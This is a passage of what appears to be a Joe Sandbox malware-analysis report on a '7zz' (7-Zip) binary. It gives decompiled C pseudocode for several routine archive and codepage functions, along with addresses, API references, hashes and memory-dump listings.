										if( *((intOrPtr*)(_t198 + 0x14)) > _t150) {
											do {
												E00415C6D(_t203 - 0x3c,  *(_t203 - 0x10));
												 *(_t203 - 0x14) =  *(_t203 - 0x14) + 1;
											} while ( *(_t203 - 0x14) <  *((intOrPtr*)(_t198 + 0x14)));
										}
										 *(_t203 - 0x14) = _t150;
										if( *((intOrPtr*)(_t198 + 0x18)) > _t150) {
											do {
												E00415C6D(_t203 - 0x50,  *(_t203 - 0x10));
												 *(_t203 - 0x14) =  *(_t203 - 0x14) + 1;
											} while ( *(_t203 - 0x14) <  *((intOrPtr*)(_t198 + 0x18)));
										}
										 *(_t203 - 0x10) =  *(_t203 - 0x10) + 1;
									} while ( *(_t203 - 0x10) <  *((intOrPtr*)(_t200 + 8)));
								}
								_t195 = 0;
								if( *((intOrPtr*)(_t200 + 0x1c)) > _t150) {
									do {
										_t151 = 1;
										 *(_t203 +  *( *(_t203 - 0x30) +  *( *((intOrPtr*)(_t200 + 0x20)) + _t195 * 8) * 4) * 4 - 0xd0) =  *(_t203 +  *( *(_t203 - 0x30) +  *( *((intOrPtr*)(_t200 + 0x20)) + _t195 * 8) * 4) * 4 - 0xd0) | _t151 <<  *( *(_t203 - 0x44) + ( *((intOrPtr*)(_t200 + 0x20)) + _t195 * 8)[1] * 4);
										_t195 = _t195 + 1;
									} while (_t195 <  *((intOrPtr*)(_t200 + 0x1c)));
									_t150 = 0;
								}
								 *(_t203 - 4) = 1;
								E00408604(_t203 - 0x50);
								 *(_t203 - 4) =  *(_t203 - 4) | 0xffffffff;
								E00408604(_t203 - 0x3c);
								_t180 = _t203 - 0xd0;
								 *(_t203 - 0x14) = 0x20;
								do {
									 *(_t203 - 0x10) = _t150;
									_t202 = _t203 - 0xd0;
									do {
										_t129 =  *_t180;
										_t196 = 1;
										if((_t129 & _t196 <<  *(_t203 - 0x10)) != 0) {
											 *_t180 = _t129 |  *_t202;
										}
										 *(_t203 - 0x10) =  *(_t203 - 0x10) + 1;
										_t202 =  &(_t202[1]);
									} while ( *(_t203 - 0x10) < 0x20);
									_t180 =  &(_t180[1]);
									_t106 = _t203 - 0x14;
									 *_t106 =  *(_t203 - 0x14) - 1;
								} while ( *_t106 != 0);
								_t130 = _t203 - 0xd0;
								while(1) {
									_t181 = 1;
									if(( *_t130 & _t181 << _t150) != 0) {
										goto L31;
									}
									_t150 = _t150 + 1;
									_t130 =  &(_t130[1]);
									if(_t150 < 0x20) {
										continue;
									} else {
										_t118 = 1;
									}
									goto L32;
								}
								goto L31;
							} else {
								while(E0042CFD0(_t203 - 0x28,  *((intOrPtr*)( *((intOrPtr*)(_t200 + 0x20)) + 4 + _t192 * 8))) == 0) {
									_t192 = _t192 + 1;
									if(_t192 <  *((intOrPtr*)(_t200 + 0x1c))) {
										continue;
									} else {
										goto L11;
									}
									goto L32;
								}
								goto L30;
							}
						} else {
							while(E0042CFD0(_t203 - 0x28,  *((intOrPtr*)( *((intOrPtr*)(_t200 + 0x34)) + _t191 * 4))) == 0) {
								_t191 = _t191 + 1;
								if(_t191 <  *((intOrPtr*)(_t200 + 0x30))) {
									continue;
								} else {
									goto L8;
								}
								goto L32;
							}
							goto L30;
						}
					} else {
						while(E0042CFD0(_t203 - 0x28,  *((intOrPtr*)( *((intOrPtr*)(_t200 + 0x20)) + _t190 * 8))) == 0) {
							_t190 = _t190 + 1;
							if(_t190 <  *((intOrPtr*)(_t200 + 0x1c))) {
								continue;
							} else {
								goto L5;
							}
							goto L32;
						}
						L30:
						 *(_t203 - 4) =  *(_t203 - 4) | 0xffffffff;
						E00408604(_t203 - 0x28);
						goto L31;
					}
				}
				L32:
				 *[fs:0x0] =  *((intOrPtr*)(_t203 - 0xc));
				return _t118;
			}

0x0042cd82
0x0042cd8f
0x0042cd98
0x0042cf99
0x0042cf99
0x0042cda8
0x0042cdad
0x0042cdb2
0x0042cdbf
0x0042cdc7
0x0042cdca
0x0042cdcf
0x0042cdd4
0x0042cdf2
0x0042cdf2
0x0042cdf7
0x0042ce15
0x0042ce1b
0x0042ce20
0x0042ce25
0x0042ce44
0x0042ce44
0x0042ce4b
0x0042ce54
0x0042ce5b
0x0042ce64
0x0042ce65
0x0042ce68
0x0042ce6b
0x0042ce6e
0x0042ce71
0x0042ce74
0x0042ce7b
0x0042ce7e
0x0042ce81
0x0042ce84
0x0042ce87
0x0042ce8d
0x0042ce91
0x0042ce94
0x0042ce96
0x0042ce9c
0x0042ce9f
0x0042cea5
0x0042cea7
0x0042cead
0x0042ceb2
0x0042ceb8
0x0042cea7
0x0042cec0
0x0042cec3
0x0042cec5
0x0042cecb
0x0042ced0
0x0042ced6
0x0042cec5
0x0042cedb
0x0042cee1
0x0042ce96
0x0042cee6
0x0042ceeb
0x0042ceed
0x0042cefb
0x0042cf11
0x0042cf13
0x0042cf14
0x0042cf19
0x0042cf19
0x0042cf1e
0x0042cf22
0x0042cf27
0x0042cf2e
0x0042cf33
0x0042cf39
0x0042cf40
0x0042cf40
0x0042cf43
0x0042cf49
0x0042cf4c
0x0042cf50
0x0042cf55
0x0042cf59
0x0042cf59
0x0042cf5b
0x0042cf5e
0x0042cf61
0x0042cf67
0x0042cf6a
0x0042cf6a
0x0042cf6a
0x0042cf6f
0x0042cf75
0x0042cf79
0x0042cf7e
0x00000000
0x00000000
0x0042cf80
0x0042cf81
0x0042cf87
0x00000000
0x0042cf89
0x0042cf89
0x0042cf89
0x00000000
0x0042cf87
0x00000000
0x0042ce27
0x0042ce27
0x0042ce3e
0x0042ce42
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0042ce42
0x00000000
0x0042ce27
0x0042cdf9
0x0042cdf9
0x0042ce0f
0x0042ce13
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0042ce13
0x00000000
0x0042cdf9
0x0042cdd6
0x0042cdd6
0x0042cdec
0x0042cdf0
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0042cdf0
0x0042cf8d
0x0042cf8d
0x0042cf94
0x00000000
0x0042cf94
0x0042cdd4
0x0042cf9b
0x0042cfa1
0x0042cfa9

APIs

__EH_prolog.LIBCMT ref: 0042CD82

Strings

, xrefs: 0042CF39
, xrefs: 0042CF61

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: H_prolog
String ID: $
API String ID: 3519838083-227171996
Opcode ID: a76aadd02c451df5a530bc4837ced833aeb8ce480aed34779acfe00049131935
Instruction ID: 5d0b406c18202b3f46059241855fa713d8f087d48a2dc57dffdc94942331e0a4
Opcode Fuzzy Hash: a76aadd02c451df5a530bc4837ced833aeb8ce480aed34779acfe00049131935
Instruction Fuzzy Hash: A871AB71A0021ACFCB20CF99E5C0AEEB7B2FF48318F51456ED416A7291D734AA46CF58

Uniqueness

Uniqueness Score: -1.00%

Function 0042D33C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 156
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E0042D33C(void* __ecx, void* __eflags) {
				intOrPtr _t57;
				intOrPtr _t65;
				intOrPtr _t67;
				intOrPtr _t69;
				intOrPtr _t71;
				intOrPtr* _t75;
				intOrPtr* _t80;
				void* _t83;
				intOrPtr _t85;
				intOrPtr _t93;
				void* _t95;
				void* _t98;
				intOrPtr* _t100;
				intOrPtr _t104;
				intOrPtr _t107;
				intOrPtr _t109;
				intOrPtr _t110;
				intOrPtr* _t111;
				void* _t113;
				intOrPtr _t115;
				void* _t116;
				void* _t118;
				void* _t119;
				void* _t121;

				L0046B890(0x4774d0, _t116);
				_t119 = _t118 - 0x20;
				_t113 = __ecx;
				_t83 = __ecx + 0x28;
				_t107 = 0x20;
				_t57 = L0040FAC0(__eflags, _t107);
				if(_t57 == 0) {
					if(E0042D51A(_t83) == 0) {
						__eflags = 0;
						 *((intOrPtr*)(_t116 - 0x2c)) = 0x47a7ec;
						 *((intOrPtr*)(_t116 - 0x28)) = 0;
						 *((intOrPtr*)(_t116 - 0x24)) = 0;
						 *((intOrPtr*)(_t116 - 4)) = 0;
						L0040FA26(_t116 - 0x2c, 0x10000);
						 *((intOrPtr*)(_t116 - 0x18)) =  *((intOrPtr*)(_t116 - 0x24));
						 *((intOrPtr*)(_t116 - 0x10)) = _t107;
						E0046C5C0( *((intOrPtr*)(_t116 - 0x24)), _t83, _t107);
						_t109 =  *((intOrPtr*)(_t113 + 0x20));
						_t85 =  *((intOrPtr*)(_t113 + 0x24));
						_t121 = _t119 + 0xc;
						while(1) {
							L4:
							_t100 =  *((intOrPtr*)(_t116 + 0xc));
							__eflags = _t100;
							if(_t100 == 0) {
								goto L8;
							}
							_t95 = _t109 -  *((intOrPtr*)(_t113 + 0x20));
							asm("sbb eax, [esi+0x24]");
							__eflags = _t85 -  *((intOrPtr*)(_t100 + 4));
							if(__eflags > 0) {
								L25:
								_t115 = 1;
							} else {
								if(__eflags < 0) {
									goto L8;
								} else {
									__eflags = _t95 -  *_t100;
									if(_t95 >  *_t100) {
										goto L25;
									} else {
										while(1) {
											L8:
											_t65 =  *((intOrPtr*)(_t116 - 0x10));
											_t67 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t116 + 8)))) + 0xc))( *((intOrPtr*)(_t116 + 8)), _t65 +  *((intOrPtr*)(_t116 - 0x18)), 0x10000 - _t65, _t116 - 0x20);
											__eflags = _t67;
											if(_t67 != 0) {
												break;
											}
											_t69 =  *((intOrPtr*)(_t116 - 0x20));
											 *((intOrPtr*)(_t116 - 0x10)) =  *((intOrPtr*)(_t116 - 0x10)) + _t69;
											__eflags = _t69;
											if(_t69 == 0) {
												goto L25;
											} else {
												__eflags =  *((intOrPtr*)(_t116 - 0x10)) - 0x20;
												if( *((intOrPtr*)(_t116 - 0x10)) <= 0x20) {
													continue;
												} else {
													_t104 = 0;
													_t71 =  *((intOrPtr*)(_t116 - 0x10)) + 0xffffffe0;
													 *((intOrPtr*)(_t116 - 0x14)) = 0;
													__eflags = _t71;
													 *((intOrPtr*)(_t116 - 0x1c)) = _t71;
													if(_t71 <= 0) {
														_t93 =  *((intOrPtr*)(_t116 - 0x18));
														goto L23;
													} else {
														while(1) {
															_t93 =  *((intOrPtr*)(_t116 - 0x18));
															while(1) {
																L15:
																__eflags =  *((char*)(_t104 + _t93)) - 0x37;
																if( *((char*)(_t104 + _t93)) == 0x37) {
																	break;
																}
																__eflags = _t104 - _t71;
																if(__eflags < 0) {
																	_t104 = _t104 + 1;
																	 *((intOrPtr*)(_t116 - 0x14)) = _t104;
																	continue;
																}
																L19:
																if(__eflags == 0) {
																	L23:
																	_t109 = _t109 + _t71;
																	asm("adc ebx, 0x0");
																	 *((intOrPtr*)(_t116 - 0x10)) =  *((intOrPtr*)(_t116 - 0x10)) - _t71;
																	L0046BAB0(_t93, _t71 + _t93,  *((intOrPtr*)(_t116 - 0x10)));
																	_t121 = _t121 + 0xc;
																	goto L4;
																} else {
																	_t75 = E0042D4DD(_t93 + _t104);
																	__eflags = _t75;
																	if(_t75 != 0) {
																		E0046C5C0(_t113 + 0x28,  *((intOrPtr*)(_t116 - 0x14)) +  *((intOrPtr*)(_t116 - 0x18)), 0x20);
																		_t110 = _t109 +  *((intOrPtr*)(_t116 - 0x14));
																		_t80 =  *((intOrPtr*)(_t116 + 8));
																		 *((intOrPtr*)(_t113 + 0x20)) = _t110;
																		_t98 = 0;
																		asm("adc ebx, ecx");
																		_t111 = _t110 + 0x20;
																		__eflags = _t111;
																		 *((intOrPtr*)(_t113 + 0x24)) = _t85;
																		asm("adc ebx, ecx");
																		_t67 =  *((intOrPtr*)( *_t80 + 0x10))(_t80, _t111, _t85, _t98, _t98);
																		goto L27;
																	} else {
																		 *((intOrPtr*)(_t116 - 0x14)) =  *((intOrPtr*)(_t116 - 0x14)) + 1;
																		__eflags =  *((intOrPtr*)(_t116 - 0x14)) -  *((intOrPtr*)(_t116 - 0x1c));
																		if( *((intOrPtr*)(_t116 - 0x14)) <  *((intOrPtr*)(_t116 - 0x1c))) {
																			_t71 =  *((intOrPtr*)(_t116 - 0x1c));
																			_t104 =  *((intOrPtr*)(_t116 - 0x14));
																			_t93 =  *((intOrPtr*)(_t116 - 0x18));
																			continue;
																		} else {
																			_t93 =  *((intOrPtr*)(_t116 - 0x18));
																			_t71 =  *((intOrPtr*)(_t116 - 0x1c));
																			goto L23;
																		}
																	}
																}
																goto L28;
															}
															__eflags = _t104 - _t71;
															goto L19;
														}
													}
												}
											}
											goto L28;
										}
										L27:
										_t115 = _t67;
									}
								}
							}
							L28:
							 *((intOrPtr*)(_t116 - 0x2c)) = 0x47a7ec;
							L00407A18( *((intOrPtr*)(_t116 - 0x24)));
							_t57 = _t115;
							goto L29;
						}
					} else {
						_t57 = 0;
					}
				}
				L29:
				 *[fs:0x0] =  *((intOrPtr*)(_t116 - 0xc));
				return _t57;
			}

0x0042d341
0x0042d346
0x0042d34c
0x0042d353
0x0042d356
0x0042d35a
0x0042d361
0x0042d370
0x0042d379
0x0042d37b
0x0042d382
0x0042d385
0x0042d390
0x0042d393
0x0042d39e
0x0042d3a1
0x0042d3a4
0x0042d3a9
0x0042d3ac
0x0042d3af
0x0042d3b2
0x0042d3b2
0x0042d3b2
0x0042d3b5
0x0042d3b7
0x00000000
0x00000000
0x0042d3bd
0x0042d3c0
0x0042d3c3
0x0042d3c6
0x0042d47c
0x0042d47e
0x0042d3cc
0x0042d3cc
0x00000000
0x0042d3ce
0x0042d3ce
0x0042d3d0
0x00000000
0x0042d3d6
0x0042d3d6
0x0042d3d6
0x0042d3e4
0x0042d3f3
0x0042d3f6
0x0042d3f8
0x00000000
0x00000000
0x0042d3fe
0x0042d401
0x0042d404
0x0042d406
0x00000000
0x0042d408
0x0042d408
0x0042d40c
0x00000000
0x0042d40e
0x0042d411
0x0042d413
0x0042d416
0x0042d419
0x0042d41b
0x0042d41e
0x0042d477
0x00000000
0x0042d420
0x0042d428
0x0042d428
0x0042d42b
0x0042d42b
0x0042d42b
0x0042d42f
0x00000000
0x00000000
0x0042d431
0x0042d433
0x0042d435
0x0042d436
0x00000000
0x0042d436
0x0042d43d
0x0042d43d
0x0042d45b
0x0042d45b
0x0042d45d
0x0042d460
0x0042d46a
0x0042d46f
0x00000000
0x0042d43f
0x0042d441
0x0042d446
0x0042d448
0x0042d490
0x0042d498
0x0042d49b
0x0042d4a0
0x0042d4a3
0x0042d4a4
0x0042d4a6
0x0042d4a6
0x0042d4a9
0x0042d4b0
0x0042d4b5
0x00000000
0x0042d44a
0x0042d44a
0x0042d450
0x0042d453
0x0042d422
0x0042d425
0x0042d428
0x00000000
0x0042d455
0x0042d455
0x0042d458
0x00000000
0x0042d458
0x0042d453
0x0042d448
0x00000000
0x0042d43d
0x0042d43b
0x00000000
0x0042d43b
0x0042d428
0x0042d41e
0x0042d40c
0x00000000
0x0042d406
0x0042d4b8
0x0042d4b8
0x0042d4b8
0x0042d3d0
0x0042d3cc
0x0042d4ba
0x0042d4bd
0x0042d4c4
0x0042d4ca
0x00000000
0x0042d4ca
0x0042d372
0x0042d372
0x0042d372
0x0042d370
0x0042d4cc
0x0042d4d2
0x0042d4da

APIs

__EH_prolog.LIBCMT ref: 0042D341

Strings

c[@, xrefs: 0042D37B, 0042D4BD
, xrefs: 0042D408

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: H_prolog
String ID: $c[@
API String ID: 3519838083-1303465990
Opcode ID: a1c81dacb9a7dbad6a610d5ca37bfb9ff25c91f9129fd3bfb68765bbdffd0714
Instruction ID: dbd63947d3ec36f6418aa11a5244a4fc3f7eb44a15ca7d926c0188e08944aa22
Opcode Fuzzy Hash: a1c81dacb9a7dbad6a610d5ca37bfb9ff25c91f9129fd3bfb68765bbdffd0714
Instruction Fuzzy Hash: 8851A3B1F002199BDB14DFA9D881ABFB7B5FF88304F50852AE405E7340D778A9418B65

Uniqueness

Uniqueness Score: -1.00%

Function 00471A83 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 124
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E00471A83(void* __ebx, void* __edi) {
				char _v17;
				signed char _v18;
				struct _cpinfo _v24;
				char _v280;
				char _v536;
				char _v792;
				char _v1304;
				void* _t43;
				char _t44;
				signed char _t45;
				void* _t55;
				signed int _t56;
				signed char _t64;
				intOrPtr* _t66;
				signed int _t68;
				signed int _t70;
				signed int _t71;
				signed char _t76;
				signed char _t77;
				signed char* _t78;
				void* _t81;
				void* _t87;
				void* _t88;

				if(GetCPInfo( *0x496228,  &_v24) == 1) {
					_t44 = 0;
					do {
						 *((char*)(_t87 + _t44 - 0x114)) = _t44;
						_t44 = _t44 + 1;
					} while (_t44 < 0x100);
					_t45 = _v18;
					_v280 = 0x20;
					if(_t45 == 0) {
						L9:
						E00472375(1,  &_v280, 0x100,  &_v1304,  *0x496228,  *0x496444, 0);
						E00472126( *0x496444, 0x100,  &_v280, 0x100,  &_v536, 0x100,  *0x496228, 0);
						E00472126( *0x496444, 0x200,  &_v280, 0x100,  &_v792, 0x100,  *0x496228, 0);
						_t55 = 0;
						_t66 =  &_v1304;
						do {
							_t76 =  *_t66;
							if((_t76 & 0x00000001) == 0) {
								if((_t76 & 0x00000002) == 0) {
									 *(_t55 + 0x496240) =  *(_t55 + 0x496240) & 0x00000000;
									goto L16;
								}
								 *(_t55 + 0x496341) =  *(_t55 + 0x496341) | 0x00000020;
								_t77 =  *((intOrPtr*)(_t87 + _t55 - 0x314));
								L12:
								 *(_t55 + 0x496240) = _t77;
								goto L16;
							}
							 *(_t55 + 0x496341) =  *(_t55 + 0x496341) | 0x00000010;
							_t77 =  *((intOrPtr*)(_t87 + _t55 - 0x214));
							goto L12;
							L16:
							_t55 = _t55 + 1;
							_t66 = _t66 + 2;
						} while (_t55 < 0x100);
						return _t55;
					}
					_t78 =  &_v17;
					do {
						_t68 =  *_t78 & 0x000000ff;
						_t56 = _t45 & 0x000000ff;
						if(_t56 <= _t68) {
							_t81 = _t87 + _t56 - 0x114;
							_t70 = _t68 - _t56 + 1;
							_t71 = _t70 >> 2;
							memset(_t81 + _t71, memset(_t81, 0x20202020, _t71 << 2), (_t70 & 0x00000003) << 0);
							_t88 = _t88 + 0x18;
						}
						_t78 =  &(_t78[2]);
						_t45 =  *((intOrPtr*)(_t78 - 1));
					} while (_t45 != 0);
					goto L9;
				}
				_t43 = 0;
				do {
					if(_t43 < 0x41 || _t43 > 0x5a) {
						if(_t43 < 0x61 || _t43 > 0x7a) {
							 *(_t43 + 0x496240) =  *(_t43 + 0x496240) & 0x00000000;
						} else {
							 *(_t43 + 0x496341) =  *(_t43 + 0x496341) | 0x00000020;
							_t64 = _t43 - 0x20;
							goto L22;
						}
					} else {
						 *(_t43 + 0x496341) =  *(_t43 + 0x496341) | 0x00000010;
						_t64 = _t43 + 0x20;
						L22:
						 *(_t43 + 0x496240) = _t64;
					}
					_t43 = _t43 + 1;
				} while (_t43 < 0x100);
				return _t43;
			}

0x00471aa0
0x00471aa6
0x00471aad
0x00471aad
0x00471ab4
0x00471ab5
0x00471ab9
0x00471abc
0x00471ac5
0x00471afe
0x00471b1d
0x00471b41
0x00471b69
0x00471b71
0x00471b73
0x00471b79
0x00471b79
0x00471b7f
0x00471b9a
0x00471bac
0x00000000
0x00471bac
0x00471b9c
0x00471ba3
0x00471b8f
0x00471b8f
0x00000000
0x00471b8f
0x00471b81
0x00471b88
0x00000000
0x00471bb3
0x00471bb3
0x00471bb5
0x00471bb6
0x00000000
0x00471b79
0x00471ac9
0x00471acc
0x00471acc
0x00471acf
0x00471ad4
0x00471ad8
0x00471adf
0x00471ae7
0x00471af1
0x00471af1
0x00471af1
0x00471af4
0x00471af5
0x00471af8
0x00000000
0x00471afd
0x00471bbc
0x00471bc3
0x00471bc6
0x00471be4
0x00471bf9
0x00471beb
0x00471beb
0x00471bf4
0x00000000
0x00471bf4
0x00471bcd
0x00471bcd
0x00471bd6
0x00471bd9
0x00471bd9
0x00471bd9
0x00471c00
0x00471c01
0x00471c07

APIs

GetCPInfo.KERNEL32(?), ref: 00471A97

Strings

, xrefs: 00471AE0
, xrefs: 00471ABC

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: Info
String ID: $
API String ID: 1807457897-3032137957
Opcode ID: 82b9ebace977c017a322e84a017c4c799c7629dd4772566940a67c68c2466b10
Instruction ID: 5c3e5dd18d5ca2b0f7a6e0339bafee86ed4275ccb2fec3f011e76292e71c390b
Opcode Fuzzy Hash: 82b9ebace977c017a322e84a017c4c799c7629dd4772566940a67c68c2466b10
Instruction Fuzzy Hash: 2E4189310042981AEB269768DD49BFB7FECEB06704F1404F7D94DC6272D2798948CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 0041C936 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 87
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E0041C936(void* __ecx, void* __edx) {
				intOrPtr _t59;
				void* _t69;
				intOrPtr _t77;
				intOrPtr _t78;
				void* _t89;
				void* _t96;
				void* _t98;
				void* _t99;
				void* _t100;
				void* _t101;
				void* _t103;

				_t89 = __edx;
				L0046B890(E00475600, _t103);
				_t99 = __edx;
				L004039C0(_t103 - 0x18, __ecx);
				_t2 = _t103 - 4;
				 *(_t103 - 4) =  *(_t103 - 4) & 0x00000000;
				E004054FE(_t103 - 0x18, _t89,  *_t2, 0xa);
				E00405529(_t103 - 0x18, _t89,  *_t2, _t99);
				E004054FE(_t103 - 0x18, _t89,  *_t2, 0xa);
				E00405529(_t103 - 0x18, _t89,  *_t2,  *((intOrPtr*)(_t103 + 8)));
				_t77 = _t103 - 0x24;
				L004039C0(_t77, _t103 - 0x18);
				E0046B8F4(_t103 - 0x24, 0x481390);
				_t100 = _t98;
				L0046B890(E00475614, _t103);
				_t69 = _t89;
				 *((intOrPtr*)(_t103 - 0x14)) = _t77;
				_t59 =  *((intOrPtr*)(_t69 + 8));
				_t78 = 1;
				if(_t59 > _t78) {
					_push(_t100);
					 *((intOrPtr*)(_t103 - 0x10)) = _t78;
					_t101 = 0;
					do {
						_t17 = _t101 + 4; // 0x4
						_t96 = _t17;
						if(E0040881C( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t103 - 0x14)) + 0xc)) +  *(_t101 +  *((intOrPtr*)(_t69 + 0xc))) * 4)),  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t103 - 0x14)) + 0xc)) +  *(_t96 +  *((intOrPtr*)(_t69 + 0xc))) * 4))) == 0) {
							L00403532(_t103 - 0x20,  *0x48c33c);
							 *(_t103 - 4) =  *(_t103 - 4) & 0x00000000;
							_push( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t103 - 0x14)) + 0xc)) +  *(_t96 +  *((intOrPtr*)(_t69 + 0xc))) * 4)));
							E0041C936(_t103 - 0x20,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t103 - 0x14)) + 0xc)) +  *(_t101 +  *((intOrPtr*)(_t69 + 0xc))) * 4)));
							 *(_t103 - 4) =  *(_t103 - 4) | 0xffffffff;
							L00407A18( *((intOrPtr*)(_t103 - 0x20)));
						}
						 *((intOrPtr*)(_t103 - 0x10)) =  *((intOrPtr*)(_t103 - 0x10)) + 1;
						_t101 = _t96;
						_t59 =  *((intOrPtr*)(_t103 - 0x10));
					} while (_t59 <  *((intOrPtr*)(_t69 + 8)));
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t103 - 0xc));
				return _t59;
			}

0x0041c936
0x0041c93b
0x0041c945
0x0041c94a
0x0041c94f
0x0041c94f
0x0041c958
0x0041c961
0x0041c96b
0x0041c976
0x0041c97e
0x0041c982
0x0041c990
0x0041c995
0x0041c99b
0x0041c9a4
0x0041c9a6
0x0041c9ab
0x0041c9ae
0x0041c9b1
0x0041c9b3
0x0041c9b5
0x0041c9b8
0x0041c9ba
0x0041c9c0
0x0041c9c0
0x0041c9d9
0x0041c9e4
0x0041c9ef
0x0041ca02
0x0041ca08
0x0041ca0d
0x0041ca14
0x0041ca19
0x0041ca1a
0x0041ca1d
0x0041ca1f
0x0041ca22
0x0041ca28
0x0041ca2d
0x0041ca35

APIs

__EH_prolog.LIBCMT ref: 0041C93B

Part of subcall function 0046B8F4: KiUserExceptionDispatcher.NTDLL(0047CF70,?,00405CA1,?,?,?,0047CF70,?,?,?,00405CA1), ref: 0046B922

__EH_prolog.LIBCMT ref: 0041C99B

Strings

59@, xrefs: 0041C9A3

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: H_prolog$DispatcherExceptionUser
String ID: 59@
API String ID: 1370957130-2780377667
Opcode ID: b46cdf6e2f3b0178df7ff716c76c86c76c636c2737ea390e5ab5bf69f3c0eaf6
Instruction ID: a6f31d39d81224240f44a0bd5d30bed56bf58cfd7ee645fd7ff7855bc7c346c4
Opcode Fuzzy Hash: b46cdf6e2f3b0178df7ff716c76c86c76c636c2737ea390e5ab5bf69f3c0eaf6
Instruction Fuzzy Hash: 3F31A531A105059BCB14EF99C8829EEB779FF48314F50402EE906B7292DB38AE42CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0040816E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040816E(intOrPtr __ecx, short** __edx, void* __edi, void* __eflags) {
				intOrPtr _t36;
				int _t42;
				char* _t54;
				void* _t61;
				short** _t65;
				void* _t68;

				L0046B890(0x473818, _t68);
				 *((intOrPtr*)(_t68 - 0x10)) = __ecx;
				_t65 = __edx;
				 *((intOrPtr*)(_t68 - 0x18)) = 0;
				 *(_t68 - 0x24) = 0;
				 *(_t68 - 0x20) = 0;
				 *((intOrPtr*)(_t68 - 0x1c)) = 0;
				E00401EEE(_t68 - 0x24, 3);
				 *((intOrPtr*)(_t68 - 4)) = 0;
